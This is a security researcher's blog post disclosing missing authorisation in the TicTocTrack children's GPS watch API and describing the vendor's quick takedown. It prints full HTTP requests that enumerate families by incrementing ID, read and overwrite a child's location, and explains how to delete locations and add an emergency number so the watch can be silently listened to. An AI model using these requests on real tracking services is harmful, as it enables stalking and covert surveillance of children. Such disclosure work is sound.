Tic Toc Pwned

We were recently tipped off that the Australian Tic Toc Track watch was almost undoubtedly just a version of the Gator kids GPS tracking watch. That’s the tracker watch which leaked real time kids position data to anyone, it also allowed anyone to silently listen to children through the watch.

Creepy!

It all started with the Norwegian Consumer Council exposing concerning flaws. Here’s our friend Finn Myrstad from the NCC explaining the problems:

And ended up with us totally compromising the platform.

This was what got our attention: a press article last week. Those watch boxes look VERY familiar:

Yep, they’re Gator watches.

The claim in the article is also rather misleading: ‘A Brisbane mum who developed a GPS tracking watch…’ is not strictly true – TicTocTrack developed a new backend.

The watches were imported from the Caref Watch Co, based in Shenzen China!

Easily found on Alibaba: https://www.alibaba.com/showroom/gator-caref-watch.html

So what?

Caref / Gator fixed a significant API platform flaw that we found a while back. It allowed complete platform compromise, but it didn’t affect the Tic Toc Track watch. Why?

Well, their model was to keep all kids data onshore in Australia. They hosted a version of the API themselves, hosted by Aussie hosting firm 6YS. Tic Toc Track also wrote their own mobile app, written by a Sri Lanka based firm called Nibaya.

Interesting idea, except that it doesn’t appear that anyone checked it’s security.

But we needed a watch…

Anyone know any Aussie security researchers?

@troyhunt to the rescue!!

Here’s the watch he bought for us:

So we got stuck in

The backend is an odata REST interface with a basic authentication of username:password that are provided during login. Backend does not make any authorization attempt on any request other than the user having a valid username/password combination. There are multiple ways an attacker can compromise the application. The easiest way is to intercept the call to the initial call to

Request:

GET /api//Users?$filter=(mailto:ID%20eq%20%[email protected]%27)&$select=ID,CompositeID,FirstName,LastName,Email,FamilyIdentifier,ProfilePictureUrl HTTP/1.1
Host: tracker.tictoctrack.com
Connection: close
Accept: application/atomsvc+xml;q=0.8, application/json;odata=fullmetadata;q=0.7, application/json;q=0.5, */*;q=0.1
MaxDataServiceVersion: 3.0
DataServiceVersion: 3.0

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; odata=fullmetadata; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
DataServiceVersion: 3.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Expose-Headers: MaxDataServiceVersion, DataServiceVersion
Date: Fri, 12 Apr 2019 06:46:53 GMT
Connection: close
Content-Length: 586

{
"odata.metadata":"https://tracker.tictoctrack.com/api/$metadata#Users&$select=ID,CompositeID,FirstName,LastName,Email,FamilyIdentifier,ProfilePictureUrl","value":[
{
"odata.type":"Nibaya.CsApi.GPS.DataLayer.BusinessLogic.Dto.UserDto","odata.id":"https://tracker.tictoctrack.com/api/Users('[email protected]')","ID":"[email protected]","CompositeID":"[email protected]","FirstName":"XXXXXXXXX","LastName":"XXXXXXXXX","Email":"[email protected]","FamilyIdentifier":34XX,"ProfilePictureUrl":"https://tracker.tictoctrack.com/res/img/usermeta/DEFAULT_IMG.jpg"
}
]
}

FamilyIdentifier is an incrementing integer identifying the family that the user belongs to and just changing it to another number gives COMPLETE ACCESS to that familys data including childrens location, parents full names, parents phone numbers and other PII.

But we don’t need to use the app to interact with the api ,we can use the odata endpoints found in here:

https://tracker.tictoctrack.com/api

…and use the metadata found on:

https://tracker.tictoctrack.com/api/$metadata

After that we can access any user by directly querying database by Incrementing FamilyIdentifier.

GET /api//Users?$filter=(FamilyIdentifier%20eq%2034XX) HTTP/1.1
Host: tracker.tictoctrack.com
Connection: close
Accept: application/atomsvc+xml;q=0.8, application/json;odata=fullmetadata;q=0.7, application/json;q=0.5, */*;q=0.1
MaxDataServiceVersion: 3.0
DataServiceVersion: 3.0

You could also just remove the $filter and get ALL users (but that would be highly illegal so was not verified).

You can also get a child’s last location with the following request

Request:

POST /api//NewestLocations/GetMultipleRecentLocation HTTP/1.1
Host: tracker.tictoctrack.com
Connection: close
Content-Length: 46
MaxDataServiceVersion: 3.0
Origin: https://tracker.tictoctrack.com
Authorization: Basic XXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json;odata=verbose
Accept: application/atomsvc+xml;q=0.8, application/json;odata=fullmetadata;q=0.7, application/json;q=0.5, */*;q=0.1

{"FamilyID":34XX,"DeviceIDS":['xxxxx']}

And this is where everything takes a really dark turn as you can also manipulate the last location, having the child position

Request:

POST /api//NewestLocations/ HTTP/1.1
Host: tracker.tictoctrack.com
Connection: close
Content-Length: 1558
MaxDataServiceVersion: 3.0
Origin: https://tracker.tictoctrack.com
Content-Type: application/json;odata=verbose
Accept: application/atomsvc+xml;q=0.8, application/json;odata=fullmetadata;q=0.7, application/json;q=0.5, */*;q=0.1
DataServiceVersion: 3.0
Referer: https://tracker.tictoctrack.com/track
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{
"odata.type": "Nibaya.CsApi.GPS.DataLayer.BusinessLogic.Dto.NewestLocationDto",
"odata.id": "https://tracker.tictoctrack.com/api/NewestLocations('34XX%7Cxxxxxxx')",
"[email protected]": "https://tracker.tictoctrack.com/api/NewestLocations('34X%7Cxxxxxx')/Family",
"[email protected]": "https://tracker.tictoctrack.com/api/NewestLocations('34XX%7Cxxxxxx')/FamilyDevice",
"[email protected]": "Edm.DateTime",
"Recorded": "2019-04-10T06:38:00",
"DeviceTerminalID": "xxxxxxx",
"[email protected]": "Edm.DateTime",
"DeviceTime": "2019-04-10T16:38:00",
"[email protected]": "Edm.Decimal",
"Latitude": "-27.XXXXXXX",
"[email protected]": "Edm.Decimal",
"Longitude": "153.XXXXXXX",
"[email protected]": "Edm.Decimal",
"Speed": "0.000",
"[email protected]": "Edm.Decimal",
"Direction": "0.00",
"OnOff": false,
"Located": false,
"SOS": false,
"OriginalMessage": "(xxxxxxxx)",
"LocationType": "WiFi",
"TimezoneId": null,
"[email protected]": "Edm.Decimal",
"BatteryLevel": "100.0",
"[email protected]": "Edm.DateTime",
"LocatedOn": "2019-04-10T06:38:00",
"LocationAddress": "XX XXXXXX XXX, XXXXX XXXXXX XXX XXXX, Australia",
"ID": "xxxxx",
"CompositeID": {
"odata.type": "Nibaya.CsApi.GPS.Data.Basic.Domain.NewestLocationIdentifier",
"FamilyID": 34XX,
"DeviceID": "xxxxxxxx"
}
} 

And by using

https://tracker.tictoctrack.com/api/$batch

you can DELETE the real location of the watch leaving back no trace at all. And this is not the worst part yet. The watch automatically answers any call from a phone number marked as an emergency number. Something that can be done on

https://tracker.tictoctrack.com/api/$batch

…and then you can call the watch’s number and snoop on it.

So by using either the app or directly accessing API you can access , manipulate and delete anyones data and snoop and 2 way communicate with any watch.

The $batch endpoint accepts batch requests as we can see documented in here: https://www.odata.org/documentation/odata-version-3-0/batch-processing/

All in all we can see that the developer of the backend took no consideration into authorizing any of the requests, and cared only that the application was working effectively leaving all the data available to access and manipulate. This is unacceptable for a product that is supposed to keep children secure and a trend that we constantly see in the IoT market that products are rushed to the market.

We successfully rewrote the GPS position data and moved Troy’s daughters reported position to the other side of Brisbane. Panic!

There’s a remote listen function too: the parent can call the watch, though there’s a restriction so that only the parents phone can call the watch. That’s trivial to replace using the API flaws, so now we can listen remotely to the child from anywhere in the world

Disclosure. Not a train wreck, for once!

We dropped Tic Toc Track a line asking how to report security flaws. Their customer support team replied a few hours later indicating that reports could be sent direct to them. Good start

On Friday we sent a more detailed explanation, pointing out that requests weren’t authorised, referencing the work of the Norwegian Consumer Council, our previous work and recommended that the service was taken down.

It appears that the customer service email account wasn’t monitored over the weekend, but on return to work TicTocTrack promptly took the service down and INFORMED ALL OF THEIR CUSTOMERS. Wow!

Whilst the service shouldn’t have been vulnerable in the first place, TicTocTrack pulled a blinder by acting so quickly. A great example of managing disclosure well!

My only beef with the above statement was this:

To this day, there has never been a security breach that has lead to our customer’s personal  data being used for malicious purposes. Our team are constantly working to improve our  software and make it as safe as possible for our users.

Er – with missing authorisation, they have NO IDEA if the data has been used or not. All that they can be certain of is that no-one other than us has reported that data has been exposed.

One interesting point I noticed was this announcement: https://itbrief.com.au/story/queensland-govt-backs-safety-tech-firm-to-tune-of-1m

So the Queensland Govt invested in a firm that leaked children’s data? I think I would want to have done more due diligence before making that investment!

But, the service is down now and TicTocTrack assured customers that the issues will be fixed before they take it live again.

Conclusion

Somehow, Tic Toc Track made the terrible Gator watch API security WORSE when they implemented it in Australia. That’s some going!

Far from protecting the data of Australian children, it was even more exposed than if they had used the Gator API hosted in China.

Anyone could discover the location of children using the watch. Anyone could tamper with that position data, making you think your children were safe whilst they were actually elsewhere.

Anyone could cause false alarms by moving the reported position of your child.

Anyone could silently listen to your child, or talk to your child through their smartwatch. They could listen to you silently too, if you were near the watch.

BUT, they responded fast and took appropriate action. TicTocTrack should be commended for that.

Working with Troy Hunt was really great, I love how the security research community around the world can pull together so effectively. Here’s Troy’s blog: https://www.troyhunt.com/how-to-track-your-kids-and-other-peoples-kids-with-the-tictoctrack-watch/.